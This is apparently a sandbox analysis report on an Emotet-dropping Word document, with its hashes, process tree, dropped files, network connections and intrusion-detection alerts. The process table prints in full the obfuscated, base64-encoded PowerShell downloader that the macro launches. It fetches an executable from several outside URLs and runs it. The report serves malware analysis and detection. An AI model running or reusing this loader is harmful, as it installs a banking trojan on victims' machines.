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File name:

doc January 16 2020.doc

Full analysis: https://app.any.run/tasks/8bdc29fd-7614-4bfe-a0a8-72a43c38ba21
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 17, 2020, 18:32:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Exercitationem., Author: Nathan Aubry, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jan 15 19:43:00 2020, Last Saved Time/Date: Wed Jan 15 19:43:00 2020, Number of Pages: 1, Number of Words: 3, Number of Characters: 22, Security: 0
MD5:

2416FCA53C2F9EB9C8DA632CA0E2AE08

SHA1:

5A0FC9B8414C929A56437B181A159551EDB5BEA6

SHA256:

37E98C8FF3288199A2A4AE056B48DDE6AD9ED9CBAF76E837DED084AD42271771

SSDEEP:

6144:Q0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+p4z+cGAihy:Q0E3dxtR/iU9mvUPxbdhy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • serialfunc.exe (PID: 2532)
      • 121.exe (PID: 3996)
      • 121.exe (PID: 2960)
      • serialfunc.exe (PID: 1908)
      • serialfunc.exe (PID: 520)
      • serialfunc.exe (PID: 236)
    • Downloads executable files from the Internet

      • Powershell.exe (PID: 4020)
    • Emotet process was detected

      • 121.exe (PID: 2960)
    • Connects to CnC server

      • serialfunc.exe (PID: 1908)
    • EMOTET was detected

      • serialfunc.exe (PID: 1908)
    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 1908)
  • SUSPICIOUS

    • Executed via WMI

      • Powershell.exe (PID: 4020)
    • PowerShell script executed

      • Powershell.exe (PID: 4020)
    • Creates files in the user directory

      • Powershell.exe (PID: 4020)
    • Starts itself from another location

      • 121.exe (PID: 2960)
    • Executable content was dropped or overwritten

      • Powershell.exe (PID: 4020)
      • 121.exe (PID: 2960)
    • Connects to server without host name

      • serialfunc.exe (PID: 1908)
    • Application launched itself

      • serialfunc.exe (PID: 1908)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2660)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2660)
      • serialfunc.exe (PID: 236)
      • serialfunc.exe (PID: 520)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: Exercitationem.
Subject: -
Author: Nathan Aubry
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:01:15 19:43:00
ModifyDate: 2020:01:15 19:43:00
Pages: 1
Words: 3
Characters: 22
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 24
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 25
CompObjUserType: Microsoft Forms 2.0 Form
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
8
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 121.exe no specs #EMOTET 121.exe serialfunc.exe no specs #EMOTET serialfunc.exe serialfunc.exe no specs serialfunc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2660"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\doc January 16 2020.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4020Powershell -w hidden -en JABTAHYAYgBlAHYAZQB1AHkAeAA9ACcATwBrAHkAeAB1AHoAegBhACcAOwAkAEIAaQBlAHYAbwBpAGwAdQBwACAAPQAgACcAMQAyADEAJwA7ACQARgB6AHUAcQBoAHYAZQBmAHQAcgB1AGwAbQA9ACcAUgB1AGQAbQB0AGgAawB6AHUAJwA7ACQASABtAHQAZgB0AGcAdwBwAGgAZwBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAGkAZQB2AG8AaQBsAHUAcAArACcALgBlAHgAZQAnADsAJABSAG4AbAB2AHAAcAByAHUAcQBiAGsAZQB4AD0AJwBTAGQAawB0AHkAbAB5AHAAaQBlAHcAcQAnADsAJABKAGkAawB4AGMAcwB1AGgAYwA9ACYAKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAYgBjAEwASQBlAG4AdAA7ACQASABlAGwAbwBsAGsAYQBlAGUAcQBhAD0AJwBoAHQAdABwADoALwAvAGEAYgBlAGEAZgByAGkAcQB1AGUALgBvAHIAZwAvAC0ALwB3AHYANAB5AC0ANgB3ADUALQAzADYAOQA3AC8AKgBoAHQAdABwAHMAOgAvAC8AdwBsAHMAawBkAGoAZgBzAGEALgAwADAAMAB3AGUAYgBoAG8AcwB0AGEAcABwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBWAGIAdQBGAGIAYgBHAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgBlAGwAaQBtAGkAbgBhAHYAYQByAGkAYwBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBmAFEAYgBtAHoAdwAvACoAaAB0AHQAcAA6AC8ALwA4ADcAegBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAGUAMQA5AGUANgAtAGwAZQA2AGYAagByAC0AMgA1ADYALwAqAGgAdAB0AHAAOgAvAC8AYgBiAHYALgBiAG8AcgBnAG0AZQBpAGUAcgAuAG0AZQBkAGkAYQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAdQBuAHkAcAAtAHoAcwB2ADgAYwB2AC0AMwA1ADAAOAAwADAANgAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABVAGEAegB2AGsAZQBxAHQAeQBjAGUAPQAnAEkAZABoAHEAZwBvAHoAbwBoAG8AYgB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAGoAagBjAG0AYgBjAHUAZABrAG0AIABpAG4AIAAkAEgAZQBsAG8AbABrAGEAZQBlAHEAYQApAHsAdAByAHkAewAkAEoAaQBrAHgAYwBzAHUAaABjAC4AIgBEAGAATwB3AE4AbABgAE8AYQBkAEYAYABJAGwARQAiACgAJABIAGoAagBjAG0AYgBjAHUAZABrAG0ALAAgACQASABtAHQAZgB0AGcAdwBwAGgAZwBzACkAOwAkAFkAZABxAHMAegB0AGUAdgBiAGwAagBtAD0AJwBZAGUAaQBvAGUAdABxAG0AJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABIAG0AdABmAHQAZwB3AHAAaABnAHMAKQAuACIATABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAAyADAANgAwADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQBSAHQAIgAoACQASABtAHQAZgB0AGcAdwBwAGgAZwBzACkAOwAkAEMAeQBiAG4AbAB5AGEAeQBsAHMAcAA9ACcARgBhAG4AbgBjAHcAZwB0AHUAdgAnADsAYgByAGUAYQBrADsAJABGAG0AcQByAGMAbABjAGIAPQAnAFUAYwBoAHAAbQBpAG8AaQBrAGkAdgB6AGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABqAGUAaAB4AGgAYwBsAGsAPQAnAEsAaABqAGcAbgBnAGgAaQBnAGwAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3996"C:\Users\admin\121.exe" C:\Users\admin\121.exePowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
2960--efd9ffaeC:\Users\admin\121.exe
121.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
2532"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe121.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
1908--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Version:
1, 0, 0, 1
236"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\2909.tmp"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exeserialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
520"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\291A.tmp"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exeserialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
PromptEdit_Demo MFC Application
Exit code:
0
Version:
1, 0, 0, 1
Total events
2 458
Read events
1 580
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
3
Text files
0
Unknown types
7

Dropped files

PID
Process
Filename
Type
2660WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA63D.tmp.cvr
MD5:
SHA256:
4020Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NBPVYIFRN03W6LTAWMK3.temp
MD5:
SHA256:
520serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp
MD5:
SHA256:
520serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp
MD5:
SHA256:
520serialfunc.exeC:\Users\admin\Documents\Outlook Files\[email protected]
MD5:
SHA256:
236serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp
MD5:
SHA256:
236serialfunc.exeC:\Users\admin\Documents\Outlook Files\[email protected]
MD5:
SHA256:
236serialfunc.exeC:\Users\admin\AppData\Local\Temp\2909.tmp
MD5:
SHA256:
2960121.exeC:\Users\admin\AppData\Local\serialfunc\serialfunc.exeexecutable
MD5:331E512D56B83F4F1FF3A5914F16623B
SHA256:252AF988D72615BB25A6F3DEBA96008EC114274958DF55E1BD07373E9E8AEA48
236serialfunc.exeC:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pstpst
MD5:2A7C80E137009B6A43DA7D8472DC1414
SHA256:70071A4E4896876E4E112717CE1526B568B06C20180BC7EA24959EE3DA9454E6
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4020
Powershell.exe
GET
200
185.98.131.144:80
http://abeafrique.org/-/wv4y-6w5-3697/
FR
executable
128 Kb
suspicious
1908
serialfunc.exe
POST
200
177.103.240.93:80
http://177.103.240.93/bsqZ5LeyKnDNx9w
BR
binary
409 Kb
malicious
1908
serialfunc.exe
POST
200
177.103.240.93:80
http://177.103.240.93/K0qbBll8wfEZv
BR
binary
148 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1908
serialfunc.exe
177.103.240.93:80
TELEFÔNICA BRASIL S.A
BR
malicious
4020
Powershell.exe
185.98.131.144:80
abeafrique.org
ADISTA SAS
FR
malicious

DNS requests

Domain
IP
Reputation
abeafrique.org
  • 185.98.131.144
suspicious

Threats

PID
Process
Class
Message
4020
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4020
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
4020
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
1908
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
1908
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
1908
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
1908
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
1908
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
1908
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
No debug info